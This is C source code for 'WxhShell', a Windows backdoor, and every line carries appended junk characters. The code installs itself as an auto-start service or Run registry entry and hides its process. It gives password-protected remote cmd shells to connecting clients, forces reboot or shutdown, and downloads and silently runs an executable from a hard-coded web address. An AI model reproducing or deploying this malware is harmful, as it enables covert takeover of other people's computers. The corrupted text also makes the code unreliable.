    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T\{ on[O  
    else { 7*r Q6rAP  
    closesocket(wsh); m$ NBGw  
    ExitThread(0); P|!GXkS  
    } `kpX}cKK}  
    break; `M6!V  
    } E*:!G  
  // 关机 N&]v\MjI62  
  case 'd': { [}9sq+##  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \ ExM.T  
    if(Boot(SHUTDOWN)) -}/u?3^-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E5~HH($b  
    else { C},;M @xV  
    closesocket(wsh); w-C ~ Ik  
    ExitThread(0); TUw^KSa  
    } u}\F9~W-{  
    break; }/nbv;)  
    } X};m\Bz  
  // 获取shell me_DONW  
  case 's': { =!w5%|r.  
    CmdShell(wsh); v~H1Il_+  
    closesocket(wsh); D^baXp8  
    ExitThread(0); J}c57$Z  
    break; wZJpSkcEx  
  } ug'I:#@2  
  // 退出 GbFLu`Iu  
  case 'x': { y< W?hE[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2?u>A3^R  
    CloseIt(wsh); AjKP -[  
    break; 9c1g,:8\  
    } x%pC.0%  
  // 离开 g{.>nE^Sc5  
  case 'q': { %0fF_OU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `KqMcAW  
    closesocket(wsh); Sf);j0G,D  
    WSACleanup(); )@09Y_9r  
    exit(1); 11glFe  
    break; %<lfe<;^t  
        } (%}T\~`1z#  
  } >@KQ )p' `  
  } CoDu|M%  
?&I gD.  
  // 提示信息 Q&] }`Rp=  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ZF"f.aV8)  
} bW(+Aw=O  
  } A{iI,IFe  
+0rMv  
  return; T]Gxf"mK  
} C)~YWx@v  
x%23oPM  
// shell模块句柄 `zGK$,[%  
int CmdShell(SOCKET sock) ]sjYxe  
{ ^m;dEe&@F  
STARTUPINFO si; ` wuA}v3!  
ZeroMemory(&si,sizeof(si)); \{AxDk{z#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3UU]w`At  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; o,[~7N  
PROCESS_INFORMATION ProcessInfo; WMnR+?q  
char cmdline[]="cmd"; S+py \z%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t j&+HC  
  return 0; :@jhe8'w  
} SweaE Rl  
I<e[/#5P\`  
// 自身启动模式 / d=i 0E3  
int StartFromService(void) r=Z#"68$  
{ Rp4EB:*  
typedef struct !%5ae82~3  
{ X&o!xV -+  
  DWORD ExitStatus; [t*m$0[:  
  DWORD PebBaseAddress; X|K"p(N  
  DWORD AffinityMask; !8yw!hA  
  DWORD BasePriority; ML'4 2z Y  
  ULONG UniqueProcessId; jIv%?8+%  
  ULONG InheritedFromUniqueProcessId;  *Dtwr  
}   PROCESS_BASIC_INFORMATION; vDZhoD=VR  
R$' 4 d  
PROCNTQSIP NtQueryInformationProcess; m^rgzx19?  
Y:[WwX|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ja>UcE29  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ePdM9%  
F@Y)yi?z  
  HANDLE             hProcess; W6ZXb_X  
  PROCESS_BASIC_INFORMATION pbi; [SgWUP*  
h>-JXuN  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4d4le  
  if(NULL == hInst ) return 0; OSk:njyC[  
lE:X~RO"~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Xoyk 'T] -  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^29w @*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i/9QOw~  
)W95)]  
  if (!NtQueryInformationProcess) return 0;  Q];gC{I  
MzT#1~  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \?c0XD  
  if(!hProcess) return 0; 6kuN)  
&o{I9MD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; La48M'u  
J;h4)w~9H3  
  CloseHandle(hProcess); Z]DO  
6NH.!}"G9  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); EbSH)aR  
if(hProcess==NULL) return 0; }c1Vu  
nkTH#WTfR  
HMODULE hMod; G3n* bv  
char procName[255]; /AV [g^x2  
unsigned long cbNeeded; qp 4.XL  
n"vl%!B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H1_XEcaM+*  
s|rlpd4y  
  CloseHandle(hProcess); (__=*ew  
K]' 84!l  
if(strstr(procName,"services")) return 1; // 以服务启动 p8K4^H  
hm3,?FMbq  
  return 0; // 注册表启动 .w/#S-at  
} .Gq.st%  
Os^sOOSY  
// 主模块 vzK*1R5  
int StartWxhshell(LPSTR lpCmdLine) |7]7~ 6l  
{ #&0)kr66  
  SOCKET wsl; ZOc1 vj  
BOOL val=TRUE; fiOc;d8  
  int port=0; 8T92;.~(  
  struct sockaddr_in door; \ }xK$$f2,  
;l> xXSB7$  
  if(wscfg.ws_autoins) Install(); F +PIZ%  
 hLFf  
port=atoi(lpCmdLine); s<gZB:~  
kK&tB  
if(port<=0) port=wscfg.ws_port; q9.)p  
IGv_s+O-*  
  WSADATA data; /]"&E"X"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \kcJF'JFA0  
z_R^n#A~r  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   JL $6Fw;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); fpf1^ TZ  
  door.sin_family = AF_INET; LSb3w/3M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); {PgB~|W  
  door.sin_port = htons(port); R5 47  
{9U<!  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B 3|zR  
closesocket(wsl); 21D4O,yCe  
return 1; }HtP8F8!x  
} w{k8Y?  
5,`U3na,  
  if(listen(wsl,2) == INVALID_SOCKET) { EJ{Z0R{{  
closesocket(wsl); Ze ~$by|9f  
return 1; B+S &vV  
} 5w"f.d'  
  Wxhshell(wsl); ]\5@N7h  
  WSACleanup(); uMa: GDh7  
NCYN .@J  
return 0; `GOxFDB.  
tk"L2t  
} ;KJJK#j  
kRs[H xI3  
// 以NT服务方式启动 ~r;da9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 5MV4N[;  
{ _d6mf4M]5  
DWORD   status = 0; -B :Z(]3#\  
  DWORD   specificError = 0xfffffff; !Sr^4R+Z  
" ] 0ER  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l=D E|:  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2uFaAAT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; DR3M|4[  
  serviceStatus.dwWin32ExitCode     = 0; fl _k5Q'&p  
  serviceStatus.dwServiceSpecificExitCode = 0; hnZI{2XzBE  
  serviceStatus.dwCheckPoint       = 0; c'OJodpa  
  serviceStatus.dwWaitHint       = 0; vR`-iRQ?_  
/+4Dq4{ t)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N[X%tf\L]F  
  if (hServiceStatusHandle==0) return; rg+28tlDn  
S!.aBAW  
status = GetLastError(); #n%?}  
  if (status!=NO_ERROR) nN>D=a"&F  
{ 3U<\y6/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 0h!2--Aur  
    serviceStatus.dwCheckPoint       = 0; BF8n: }9U  
    serviceStatus.dwWaitHint       = 0; @_ ^QBw0  
    serviceStatus.dwWin32ExitCode     = status; %Y%+K5;AZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; z"o;|T:  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b7R#tT  
    return; NHA 2 i  
  } Gir_.yc/  
9\3%5B7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #b\&Md|;  
  serviceStatus.dwCheckPoint       = 0; q)gZo[]~  
  serviceStatus.dwWaitHint       = 0; &N1C"Eov?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &b,.W; +  
} C0/s/p'  
(bt^L3}a  
// 处理NT服务事件,比如:启动、停止 5&7)hMppI  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Q>7#</i\.  
{ vM~/|)^0sW  
switch(fdwControl) i0/gyK  
{ s([9 /ED  
case SERVICE_CONTROL_STOP: Fp4?/-]  
  serviceStatus.dwWin32ExitCode = 0; *E:w377<}  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; W093rNF~  
  serviceStatus.dwCheckPoint   = 0; d=WC1"  
  serviceStatus.dwWaitHint     = 0; 1~8F&  
  { z   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6yk  
  } St,IWOmq"  
  return; RI w6i?/I  
case SERVICE_CONTROL_PAUSE: $t.N |b`'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ehCc N4V(  
  break; ,]Yjo>`tW  
case SERVICE_CONTROL_CONTINUE: + EG.p  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 2T5@~^:7u  
  break;  s=#IoNh  
case SERVICE_CONTROL_INTERROGATE: HP|,AmVLl  
  break; F`8A!|cIy  
}; RyD2LAf)J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); G+4a%?JH  
} &=|W95  
w3Aq[1U0  
// 标准应用程序主函数 9 pE)S^P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %8`zaa  
{ 95(c{ l/  
GiHJr1  
// 获取操作系统版本 ^i&Qr+v  
OsIsNt=GetOsVer(); @)&b..c?_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); C fQj7{  
+f\tqucI3  
  // 从命令行安装 Zm%}AzM  
  if(strpbrk(lpCmdLine,"iI")) Install(); O8SX#,3^}  
8>j+xbw  
  // 下载执行文件 G,{L=x Oh  
if(wscfg.ws_downexe) { FU!U{qDI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V5KAiG<d  
  WinExec(wscfg.ws_filenam,SW_HIDE); W()FKP\??!  
} ERL(>)  
X ~4^$x  
if(!OsIsNt) { v3S{dX<  
// 如果时win9x,隐藏进程并且设置为注册表启动 25ul,t_Du  
HideProc(); s .^9;%@$J  
StartWxhshell(lpCmdLine); lO%Z4V_Mj  
} n$y1kD  
else T7m rOp  
  if(StartFromService()) ^]'p927  
  // 以服务方式启动 *-Lnsi^7v  
  StartServiceCtrlDispatcher(DispatchTable); ,qiS;2(  
else 9L%&4V}BIS  
  // 普通方式启动 9^0 'VRG  
  StartWxhshell(lpCmdLine); @l"GfDf L9  
sC ]&Qr_  
return 0; F"hi2@/TI  
} [KWF7GQi  
%'\D _W&  
C,]Q/6'>  
qTqvEa^X`  
=========================================== N<Bi.\XC  
1|/2%IDUI  
:L:;~tK  
zQ]IlMt  
j /-p3#c  
)t&|oQ3sVG  
" ~SM2W%  
\'E_  
#include <stdio.h> a6WE,4T9  
#include <string.h> 6e  |  
#include <windows.h> Aplqx vth  
#include <winsock2.h> RfN5X}&A  
#include <winsvc.h> 'ZT!a]4  
#include <urlmon.h> dq:M!F  
m>:%[vm  
#pragma comment (lib, "Ws2_32.lib") ddnWr"_  
#pragma comment (lib, "urlmon.lib") }C" #b\A2  
ct~lt'L\  
#define MAX_USER   100 // 最大客户端连接数 )yJeh  
#define BUF_SOCK   200 // sock buffer J)(]cW.  
#define KEY_BUFF   255 // 输入 buffer b${Kj3(  
1}[\@n+b  
#define REBOOT     0   // 重启 H _3gVrP_  
#define SHUTDOWN   1   // 关机 !}1n?~]`  
2"<}9A<Xs  
#define DEF_PORT   5000 // 监听端口 uO[4 WZ  
W\} VZY  
#define REG_LEN     16   // 注册表键长度 A*E4hop[  
#define SVC_LEN     80   // NT服务名长度 ,z%F="@b9  
Crpk q/M  
// 从dll定义API ::TUSz2/2  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bL0+v@(r  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); J)jiI>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WK;p[u?~xi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {GWcw<g.B  
v{% /aw  
// wxhshell配置信息 '2# 0UdG  
struct WSCFG { aOYd "S}u  
  int ws_port;         // 监听端口  }O1F.5I1  
  char ws_passstr[REG_LEN]; // 口令 r`<e vwIe  
  int ws_autoins;       // 安装标记, 1=yes 0=no lq.0?(  
  char ws_regname[REG_LEN]; // 注册表键名 Q&QR{?PMD  
  char ws_svcname[REG_LEN]; // 服务名 7/*; rT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 oAvJ"JH@i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oR-_=U^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 t9K.Jc0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zZiB`%  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U4N S.`V  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "X]u fZ7  
(Nik( Oyj"  
}; 40g&zU-  
._FgQ` `PL  
// default Wxhshell configuration v(: VUo]H  
struct WSCFG wscfg={DEF_PORT, Zfb:>J@h6  
    "xuhuanlingzhe", (n`\b47  
    1, qtgK}*9ptv  
    "Wxhshell", %mcuYR'D}  
    "Wxhshell", l^Lg"m2  
            "WxhShell Service", ]iz5VI@  
    "Wrsky Windows CmdShell Service", AOWI`  
    "Please Input Your Password: ", t?0=;.D  
  1, Nc"h8p?  
  "http://www.wrsky.com/wxhshell.exe", uO^{+=;A =  
  "Wxhshell.exe" X&p-Ge1>z  
    }; 3_ zI$Z  
} KMdfA  
// 消息定义模块 6@I7UL >  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1:>RQPXcWv  
char *msg_ws_prompt="\n\r? for help\n\r#>"; D 'u+3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O'wN4qb=F  
char *msg_ws_ext="\n\rExit."; 4h~Oj y16&  
char *msg_ws_end="\n\rQuit."; L7jz^g^  
char *msg_ws_boot="\n\rReboot..."; vfy- ;R(  
char *msg_ws_poff="\n\rShutdown..."; oO UVU}H  
char *msg_ws_down="\n\rSave to "; rg'? ?rq  
)(ma  
char *msg_ws_err="\n\rErr!"; g|+G(~=e|  
char *msg_ws_ok="\n\rOK!"; N %?o-IY  
JI*ikco-  
char ExeFile[MAX_PATH]; ol YSr .Q`  
int nUser = 0; 3p^WTQ>(  
HANDLE handles[MAX_USER]; )Z; Y,g  
int OsIsNt; 5#fLGXP  
}pTj8Tr  
SERVICE_STATUS       serviceStatus; u>(Q& 25  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; tlcA\+%)  
S"eKiS,z  
// 函数声明 2 G"p:iPp  
int Install(void); QyN~Crwo  
int Uninstall(void); w{r ->Phe  
int DownloadFile(char *sURL, SOCKET wsh); %(kq Hxc  
int Boot(int flag); .i. |wY  
void HideProc(void); vj_oMmjKw  
int GetOsVer(void); k|lxJ^V#  
int Wxhshell(SOCKET wsl); BF_k~  
void TalkWithClient(void *cs); JPpYT~4  
int CmdShell(SOCKET sock); Y"lxh/l$}  
int StartFromService(void); J%A`M\  
int StartWxhshell(LPSTR lpCmdLine); \hq8/6=4s  
sZbzY^P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); O%)9t FT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IB?A]oN1{  
Xt7'clr  
// 数据结构和表定义 '&9 a%  
SERVICE_TABLE_ENTRY DispatchTable[] = B{K'"uC  
{ PIrUls0}  
{wscfg.ws_svcname, NTServiceMain}, Q72wg~%w  
{NULL, NULL} f,-|"_5;   
}; I;|Aiu*  
AnyFg)a<  
// 自我安装 *K98z ?  
int Install(void) tEEhSG)s%  
{ KW;xlJz(j  
  char svExeFile[MAX_PATH]; a-} %R  
  HKEY key; 54;iLL  
  strcpy(svExeFile,ExeFile); |knP  
:^*V[77  
// 如果是win9x系统,修改注册表设为自启动 vV'^HD^v  
if(!OsIsNt) { iwVra"y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zk/!#5JtK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); $e;!nI;z  
  RegCloseKey(key); *.+>ur?t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -'0AV,{Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Mu( Y6  
  RegCloseKey(key); {xykf7zp  
  return 0; 'w!gQ#De  
    } yd%\3}-  
  } /~^I]D  
} ?I0 i%nH  
else { =ddx/zN  
p}.b#{HJ  
// 如果是NT以上系统,安装为系统服务 (gf\VYM-7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); XH2 SEeh  
if (schSCManager!=0) #wd \&  
{ .;F+ QP0  
  SC_HANDLE schService = CreateService 0!VLPA:  
  ( X or ,}. w  
  schSCManager, ChW0vIL`  
  wscfg.ws_svcname, ?rOb?cu-  
  wscfg.ws_svcdisp, ~pA;j7*  
  SERVICE_ALL_ACCESS, FKx9$B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , p%ZiTrA1&D  
  SERVICE_AUTO_START, pd;-z  
  SERVICE_ERROR_NORMAL, 6nfkZvn  
  svExeFile, '?>eW 2d  
  NULL, 1h#k&r#*3  
  NULL, qN0#=X  
  NULL, M+E5PZ|_  
  NULL, &Kv evPF  
  NULL wW<"l"x,  
  ); <  t (Pw  
  if (schService!=0) ?|8Tgs@+  
  { PVU"oz&T  
  CloseServiceHandle(schService); B0 I?  
  CloseServiceHandle(schSCManager); (XwLKkw0n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uy9B8&Sr  
  strcat(svExeFile,wscfg.ws_svcname); IX*S:7S[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~fF }  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {l11WiqQH  
  RegCloseKey(key); =zjUd  5  
  return 0; YKg[k:F  
    } RsD`9>6)  
  } t(Zs*c(  
  CloseServiceHandle(schSCManager); Wi5|9  
} j>Z]J'P  
} >YBpB,WND  
`eWc p^|  
return 1; %1@<),  
} HV9SdJOf  
SN{*:\>,  
// 自我卸载 5An0D V5  
int Uninstall(void) N Sh.g #  
{ B R:  
  HKEY key; r^E]GDz  
4 ufLP DH  
if(!OsIsNt) { q-G|@6O  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { P\mm8s`f  
  RegDeleteValue(key,wscfg.ws_regname); 9i<-\w^$  
  RegCloseKey(key); _o?(t\B9{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c9 uT`h  
  RegDeleteValue(key,wscfg.ws_regname); !~N4}!X3du  
  RegCloseKey(key); N &[,nUd  
  return 0; ]`sIs= _[  
  } M',D  
} 6XAr8mw9  
} 3NN'E$"3  
else { J4}\V$ysN  
ij i.3-  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &&}5>kg>d  
if (schSCManager!=0) YU=ZZEVi  
{ $uw+^(ut  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Kyp0SZp[  
  if (schService!=0) i+[3o@  
  { '= <`@  
  if(DeleteService(schService)!=0) { <gdgcvd  
  CloseServiceHandle(schService); b H?qijrC  
  CloseServiceHandle(schSCManager); 8>{W:?I  
  return 0; !NYM(6!(  
  } gc@#O#K~h^  
  CloseServiceHandle(schService); &7w>K6p  
  } G\+nWvV7  
  CloseServiceHandle(schSCManager); L{LU@.;1  
} S%X\ ,N  
} VMIX$#  
9I\3T6&tr  
return 1; !1'-'Q@f  
} R2O.}!'  
a9Fm Y`  
// 从指定url下载文件 iEviH>b5  
int DownloadFile(char *sURL, SOCKET wsh) jN%p5nZ^EK  
{ 7vaN&%;E%  
  HRESULT hr; NceB'YG|  
char seps[]= "/"; t/*K#]26  
char *token; E^ok`wfO  
char *file; 8RAeJ~e  
char myURL[MAX_PATH]; 8M|)ojH  
char myFILE[MAX_PATH]; 2ly,l[p8  
eq~c  
strcpy(myURL,sURL); `MsYgd  
  token=strtok(myURL,seps); >I& jurU#  
  while(token!=NULL) NVJ&C]H6  
  { v"r9|m~'  
    file=token; 0R}Sw[M.  
  token=strtok(NULL,seps); >_`D3@Rz  
  } [DxefYyI  
ZSRR lkU  
GetCurrentDirectory(MAX_PATH,myFILE); "P'&+dH8  
strcat(myFILE, "\\"); e:J'&r& 1  
strcat(myFILE, file); hO/5>Zv?  
  send(wsh,myFILE,strlen(myFILE),0); v] T(z L|  
send(wsh,"...",3,0); 5 Y Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 1_NG+H]x9  
  if(hr==S_OK) lP*  
return 0; f5aF6FBH  
else >4/L-y+  
return 1; :@ E1Pun?  
|jk-@ Z*  
} &QTeGn  
c',:@2R  
// 系统电源模块 &'(a$ S>v  
int Boot(int flag) Q+d.%qhc  
{ ?7uK P}1|  
  HANDLE hToken; v1nQs='  
  TOKEN_PRIVILEGES tkp; Fi'M"^:r {  
z]c,} Q  
  if(OsIsNt) { Q)Iv_N/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); icPp8EwH  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'cZMRR c <  
    tkp.PrivilegeCount = 1; =zm0w~']E!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5e)6ua,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 2 {e dW+  
if(flag==REBOOT) { 7-d}pgVK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) {OO*iZ.O  
  return 0; OK-sT7But  
} E69:bQ94u  
else { PZuq'^p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (/U)> %n  
  return 0; Jq$_=X&  
} +YkW[a\4  
  } i_=?eUq%q/  
  else { F#1 Kk#t  
if(flag==REBOOT) { 1l+kO,X]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5L-lpT8P  
  return 0; [0u.}c;(  
} EmX>T>~#D  
else { 9zZ5Lr^21  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8QVE_ Eu  
  return 0; StU  4{  
} mDQEXMD  
} rGnI(m.  
[1b6#I"x  
return 1; =.36y9Mfo  
} _F`$ d2  
[ WV@w  
// win9x进程隐藏模块 +M'aWlPg,  
void HideProc(void) b4Z`y8=  
{  R"U/RS  
&yx NvyA[u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); AH2 _#\  
  if ( hKernel != NULL ) 'tb(J3ZP  
  { ;)(Sdf[P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); e1 x^PT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); I@0z/4H``  
    FreeLibrary(hKernel); zoZ<)x=;  
  } ic*->-!  
8 !4~T,9G  
return; iq"ob8.  
} PiMKu|,3  
/&PKCtm&~  
// 获取操作系统版本 yoBgr7gS  
int GetOsVer(void) ;n`R\NO9  
{ 3 p/b  
  OSVERSIONINFO winfo; (O\U /daB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \  Md 3  
  GetVersionEx(&winfo); Fe!D%p Qv  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^WE4*.(  
  return 1; +|y*}bG  
  else |K L')&"  
  return 0; XE_ir Et  
} ?y ~TCqV  
I=K!)X$  
// 客户端句柄模块 NO-k-  
int Wxhshell(SOCKET wsl) 10wvfRhng  
{ q7X}MAW  
  SOCKET wsh; r&}(9Cq&"y  
  struct sockaddr_in client; U1ZIuDg'E  
  DWORD myID; KH7VR^;mk  
j-7u>s-l  
  while(nUser<MAX_USER) XJqTmj3   
{ ]@v}y&  
  int nSize=sizeof(client); :e*DTVv8  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8b|OXWl  
  if(wsh==INVALID_SOCKET) return 1; I @ 2uF-  
pO%{'%RA  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ve{n<{P  
if(handles[nUser]==0) C ye T]y  
  closesocket(wsh); 4/S=5r}  
else Hd9XfU  
  nUser++; Ju!(gh  
  } [r)e P({  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); X1+ wX`f  
J/2j;,8D  
  return 0; :Sr?6FPc  
} ~+yZfOcw  
_V@WNo%B  
// 关闭 socket HBH$  
void CloseIt(SOCKET wsh) i AdGgK  
{ X) V7bVW  
closesocket(wsh); [4sEVu}  
nUser--; y$X(S\W  
ExitThread(0); (n,u|}8Y  
} 4({( i  
C{ EAmv'  
// 客户端请求句柄 oM!xz1kVL  
void TalkWithClient(void *cs) :.k ZR;  
{ 07V8;A<,  
`vd= ec  
  SOCKET wsh=(SOCKET)cs; ' +j<n[JLC  
  char pwd[SVC_LEN]; _AFQ>j  
  char cmd[KEY_BUFF]; 62)d22  
char chr[1]; NzQ9Z1Mxy  
int i,j; : [q0S@  
'OwyyPBF  
  while (nUser < MAX_USER) { #B8*gFZB  
A /(lKq  
if(wscfg.ws_passstr) { e,>%Z@92(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,apNwkY  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `K*b?:0lp  
  //ZeroMemory(pwd,KEY_BUFF); B z^|SkEit  
      i=0; q2hFOm  
  while(i<SVC_LEN) { %SrM|&[  
j9d!yW  
  // 设置超时 >I}9LyZt  
  fd_set FdRead; xl(@C*.sC1  
  struct timeval TimeOut; `s|]"'rX  
  FD_ZERO(&FdRead); L*h{'<Bz  
  FD_SET(wsh,&FdRead); }Ov ^GYnn  
  TimeOut.tv_sec=8; >-.e AvD  
  TimeOut.tv_usec=0; !v|FT. T`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O~!T3APGU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X&M4MuL  
{Z> M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K=dR%c(  
  pwd=chr[0]; `0ZZ/] !L  
  if(chr[0]==0xd || chr[0]==0xa) { $<nCXVqL,  
  pwd=0; %@Oma  
  break; & $'z  
  } \8S ~c8Z~  
  i++; '$G"[ljr  
    } aZ Xmlq  
20b<68h$:  
  // 如果是非法用户,关闭 socket Fk "Ee&H)(  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~ Vw9  
} RBwO+J53y  
FdzNE  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n(1')?"mA  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 08s_v=cF  
lx |5?P  
while(1) { ,E;;wdIt  
)?=YT  
  ZeroMemory(cmd,KEY_BUFF); BHA923p?  
]5 Qy  
      // 自动支持客户端 telnet标准   ,1oQ cC  
  j=0; slu(SmQ  
  while(j<KEY_BUFF) { 0* ;O?T  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); E<E3&;qD  
  cmd[j]=chr[0]; HDVW0QaMu  
  if(chr[0]==0xa || chr[0]==0xd) { Z(u5$<up  
  cmd[j]=0; c$:1:B9\  
  break; 0nJE/JZ  
  } S0d~.ah30  
  j++; z'7[Tie  
    } b|xpNd-  
fB1TFtAh  
  // 下载文件 KS}hU~  
  if(strstr(cmd,"http://")) { 9Fo fr  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ke_ [  
